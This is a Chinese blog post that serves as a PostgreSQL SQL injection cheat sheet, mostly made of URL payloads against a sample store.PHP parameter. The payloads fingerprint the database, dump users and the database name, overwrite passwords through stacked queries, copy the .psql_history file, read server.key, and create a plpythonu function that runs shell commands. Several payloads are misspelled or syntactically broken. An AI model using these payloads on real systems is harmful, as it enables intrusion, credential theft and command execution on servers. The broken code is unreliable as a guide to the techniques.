简介
在本篇博文中我们将介绍Postgresql的注入技术。有如下特点:
测试
识别Postgresql
当发现sql注入时,要仔细的对后端的数据库进行指纹识别,可以使用::cast 操作符来确定后端数据库引擎
http://www.example.com/store.PHP?id=1 and 1::int=1
http://www.example.com/store.pho id=1 union all select null,version(),null limit 1 offset 1--使用version()函数抓取。
- 字符串长度:length(str)
- 从给定字符串中进行提取:substr(str,index,offset)
- 不带单引号的字符串:CHR(104)||CHR(111)...
从8.2版本开始引入一个内置函数pg_sleep(n),可以使整个会话进行n秒的休眠。
单引号防止绕过
字符串可以编码,以防止单引号进行转义,通过chr函数
- chr(n):返回ASCII值对应的数字n的字符
- ascii(n):返回字符n对应的ASCII值
'root'编码为114,111,111,116
将'root'编码成:chr(114)||chr(111)||chr(111)||chr(116)
http://www.example.com/store.PHP?id=1;update user set password=chr(114)||chr(111)||chr(111)||chr(116)--
攻击向量
当前用户可以通过select语句检索
select user
select current_user
select session_user
select username from pg_user
select getpgusername()
例子:
http://www.example.com/store.PHP?id=1 union all select current_database()
http://www.example.com/store.PHP?id=1 union all select user,null,null--
内置函数current_database()返回当前数据库的名称
http://www.example.com/store.PHP?id=1 union all current_database(),null,null--
/strore.PHP?id=1;create table file_store(id serial,data text)--
/strore.PHP?id=1;copy file_stre(data) from '/var/lib/postgresql/.psql_histroy'--
pg_read_file():这个函数是postgresql8.1中开始引入的,它允许读取任意DBMS数据的任意文件
select pg_read_file('server.key',0,10000)
壳注射:通过动态函数库和脚本语言来添加自定义函数
动态库:在版本8.1之前可以添加libc链接的自定义函数。
plpython:是允许用户使用python来编写postgresql函数,不安全函数
/store.PHP?id=1;create function proxyshell(text) returns text as 'import os;return os.ponpen(args[0].read()'language plpythonu;--)
工具:
sqlmap
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。